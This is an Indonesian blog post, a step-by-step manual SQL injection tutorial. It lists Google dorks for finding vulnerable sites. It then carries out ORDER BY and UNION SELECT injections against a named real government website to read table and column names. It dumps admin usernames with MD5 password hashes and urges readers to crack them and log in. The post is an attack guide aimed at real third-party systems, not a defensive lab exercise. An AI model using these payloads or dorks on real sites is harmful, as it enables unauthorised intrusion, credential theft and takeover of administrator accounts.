Friday, October 25, 2013

Tutorial SQL Injection Manual

Pengertian SQL Injection 

SQL Injection merupakan sebuah teknik hacking dimana seorang penyerang dapat memasukkan perintah-perintah SQL melalui url untuk dieksekusi oleh database. Penyebab utama dari celah ini adalah variable yang kurang di filter : 

id=$id;……. > Got Error

Hal pertama yang harus kita lakukan adalah mengetahui apakah situs tersebut terkena celah SQL Injection atau tidak, yaitu dengan membuat sebuah error dengan menambahkan karakter ‘ setelah atau sesudah angka pada url.


Contoh : 

http://situstarget.com/news.php?id=1’ 
http://situstarget.com/news.php?id=’1

Pertama kita cari dulu website yang memiliki celah SQL Injection. silahkan sobat cari target di google dengan menggunakan dork.

Dork SQLi :



inurl:azerty.php?id= ,
inurl:bouquin.php?id= ,
inurl:lien.php?id= ,
inurl:clavier.php?id=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:games.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
Disini saya sudah menemukan targetnya : http://diklat.lampungprov.go.id/more.php?id=1



Kemudian kita akan mencari dan menghitung jumlah tabel yang ada pada database web tersebut. silahkan sobat gunakan perintah : order by 1 - dan seterusnya sampai terjadi error pada halaman. gunaka tanda + sebagai spasi, dan pada akhir perintah gunakan tanda --.

http://diklat.lampungprov.go.id/more.php?id=1+order+by+1-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+2-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+3-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+4-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+5-- < No Error [Terlalu banyak diSkip aja]
http://diklat.lampungprov.go.id/more.php?id=1+order+by+17-- < No Error

 
http://diklat.lampungprov.go.id/more.php?id=1+order+by+18-- < Error



Pada angka 18 ternyata muncul error, jadi yang kita ambil angka sebelum munculnya pesan error. itu berarti jumlah tabel pada databasenya ada 17.


Selanjutnya kita akan mencari angka tabel yang bisa kita gunakan untuk perintah2 injection pada tahap selanjutnya. Gunakan perintah union select diikuti jumlah tabel dan tanda - sebelum angka dan diakhiri dengan tanda --. contoh:

http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--



Disini bisa kita lihat bahwa angka yang muncul yaitu 16 dan 17. kedua angka tersebut nantinya yang akan kita masukkan perintah2 selanjutnya.


Pada tahap Selanjutnya kita akan mengetahui versi database yang dipakai oleh web tersebut. gunakan perintah "version()" atau "@@version".
contoh:
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,@@version,17--




Nah pada gambar kita bisa lihat versi database yang dipake adalah v.5.5.14, jadi pada versi 5 itu berberda dengan versi 4. prosesnya lebih repot pada versi 4, karena untuk melakukan perintah2 SQLi pada versi 4 kita harus menebak 1 per 1 tabel yang ada pada databasenya.

Sekarang perintah selanjutnya kita akan memunculkan nama-nama tabel yang ada pada web tersebut. gunakan perintah “group_concat(table_name)” dan menambahkan perintah “from+information_schema.tables+where+table_schema=database()" sesudah angka terakhir, dan diakhiri dengan tanda --.
contoh :
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(table_name),17+from+information_schema.tables+where+table_schema=database()--


Disitu kita dapatkan nama-nama tabelnya sperti : tbadmin, tbbukutamu, tbcontent, tbcounter, tbdivisi, tbgolongan, tbjadwal, dll. Langkah selanjutnya kita akan mencari username dan password admin pada tabel tbadmin. Perlu diketahui bahwa tidak semua nama tabel pada setiap web itu sama, jadi untuk mencari tabel admin, silahkan sobat kira-kira saja dimana tabel yang sobat curigai tempat username dan password admin berada. Kemudian untuk mengeluarkan isi yang ada pada kolom tbadmin gunakan perintah berikut: “group_concat(columns_name) ” dan perintah “from+information_schema.columns+where+table_name=CHAR()" sesudah angka terakhir, dan diakhiri dengan tanda --. Pada tahap ini nama tabel tbadmin harus dikonversi dulu ke bentuk decimal :) silahkan sobat gunakan toolsnya DISINI. kemudian hasil konversi tbadmin adalah 116 98 97 100 109 105 110 lalu kita masukkan ke CHAR(116, 98, 97, 100, 109, 105, 110) dan pisahkan dengan koma. jadi perintahnya seperti berikut:

http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(column_name),17+from+information_schema.columns+where+table_name=CHAR(116, 98, 97, 100, 109, 105, 110)--


Nah disitu muncul kolom username, pswd, status. lalu langkah selanjutnya kita akan melihat isi dari kolom kolom yang muncul tadi dengan menambah perintah group_concat(username,0x3a,pswd,0x3a,status) . jangan lupa di setiap sela2 tambahkan kode 0x3a yg merupakan hasil konversi hexa dari tanda titik dua ( : ). lalu tambahkan perintah  +from+tbadmin--, tbadmin merupakan tabel yang kita dapatkan tadi.

http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(username,0x3a,pswd,0x3a,status),17+from+tbadmin--



Nah kan udah keliatan username dan passwordnya.. :) dari gambar muncul data :
user1:8dfad4f7356a2e403c900b2944990ddc:1,user:8dfad4f7356a2e403c900b2944990ddc:0 selanjutnya sobat tinggal mengcrack password yang berbentuk md5 hash tersebut. untuk mengcracknya silahkan gunakan toolsnya disini. Selanjutnya tinggal mencari halaman logginnya. kalo semua sudah ketemu, tinggal loggin aja, jebreet jebreet jebreet :D


Sumber : IDCA

1 comment: